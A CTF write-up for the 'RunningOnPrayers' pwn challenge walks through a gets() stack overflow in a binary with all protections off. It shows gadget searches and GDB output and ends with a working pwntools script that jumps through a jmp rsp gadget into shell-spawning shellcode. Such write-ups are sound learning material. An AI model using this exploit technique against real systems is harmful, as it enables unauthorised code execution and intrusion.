We are given an executable and a netcat port. The name of the challenge suggests that this is a ROP challenge. Looking at the binary, all protections are off and the stack is executable, so we can inject shellcode.

checksec --file RunningOnPrayers
[*] '/home/df00/Desktop/RunningOnPrayers'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

The binary itself is very minimal, There is a main function that calls a vuln function. We use gets to read into a buffer, and that gives us our buffer overflow.

undefined8 vuln(void)
{
  char local_28 [32];
  
  printf("The hard part is not finding the vulnerability, but actually doing something with it");
  gets(local_28);
  return 0;
}

I used ROPGadget to search for gadgets that we can use. Unfortunetly, no ‘pop rdi’ as that would have made things very easy. Given that we probably need to execute shellcode in this challenge, call and jmp would be useful gadets.

ROPgadget --binary RunningOnPrayers | grep "call"
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401012 : je 0x401016 ; call rax
0x000000000040105b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d]
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
ROPgadget --binary RunningOnPrayers | grep "jmp"
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x0000000000401173 : cli ; jmp 0x401100
0x0000000000401170 : endbr64 ; jmp 0x401100
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x000000000040100b : jmp 0x4840103f
0x00000000004010ec : jmp rax
0x0000000000401231 : jmp rsp
0x00000000004010e7 : mov edi, 0x404040 ; jmp rax
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010e6 : or dword ptr [rdi + 0x404040], edi ; jmp rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404040 ; jmp rax

Given that we have both jmp rax and call rax, my first thought was that we could use that. Lets overflow the buffer and take a look with GDB to see what happens.

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x007fffffffdfe0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbx   : 0x0               
$rcx   : 0x007ffff7e1aaa0  →  0x00000000fbad208b
$rdx   : 0x1               
$rsp   : 0x007fffffffdfe0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbp   : 0x007fffffffe000  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$rsi   : 0x1               
$rdi   : 0x007ffff7e1ca80  →  0x0000000000000000
$rip   : 0x000000004011a7  →  <vuln+49> mov eax, 0x0
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x007ffff7c09c78  →  0x000f0022000043b3
$r11   : 0x246             
$r12   : 0x007fffffffe128  →  0x007fffffffe448  →  "/home/df00/Desktop/RunningOnPrayers"
$r13   : 0x000000004011ae  →  <main+0> endbr64 
$r14   : 0x00000000403e18  →  0x00000000401140  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd040  →  0x007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 

Here I just overflowed the buffer with all A’s, but we see that our input is in rax. So if we fill our buffer with shellcode and call rax, it should execute right? Unfortunetly it won’t. At vuln+49 right before we return, eax (lower 32 bits of rax) is set to zero.

gef➤  disas vuln
Dump of assembler code for function vuln:
   0x0000000000401176 <+0>:	endbr64 
   0x000000000040117a <+4>:	push   rbp
   0x000000000040117b <+5>:	mov    rbp,rsp
   0x000000000040117e <+8>:	sub    rsp,0x20
   0x0000000000401182 <+12>:	lea    rax,[rip+0xe7f]        # 0x402008
   0x0000000000401189 <+19>:	mov    rdi,rax
   0x000000000040118c <+22>:	mov    eax,0x0
   0x0000000000401191 <+27>:	call   0x401060 <printf@plt>
   0x0000000000401196 <+32>:	lea    rax,[rbp-0x20]
   0x000000000040119a <+36>:	mov    rdi,rax
   0x000000000040119d <+39>:	mov    eax,0x0
   0x00000000004011a2 <+44>:	call   0x401070 <gets@plt>
=> 0x00000000004011a7 <+49>:	mov    eax,0x0
   0x00000000004011ac <+54>:	leave  
   0x00000000004011ad <+55>:	ret    
End of assembler dump.

The other gadget that we can use is jmp rsp, and looking above we see that out input is also in rsp.

0x0000000000401231 : jmp rsp

rsp will point at the thing after the return pointer once ret has occured, so our shellcode will go right after jmp rsp.

The final solve script. Unfortunetly, the netcat port was down for almost the whole CTF, but as they say - it worked on my machine :)

from pwn import *

elf = ELF("./RunningOnPrayers")

context.binary = elf
context.log_level = "DEBUG"

libc = elf.libc
target = process("./RunningOnPrayers")


target.recvuntil("it")

jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = flat(
    'A' * 0x28,             
    jmp_rsp,                
    asm(shellcraft.sh())     
)

target.sendline(payload)
target.interactive()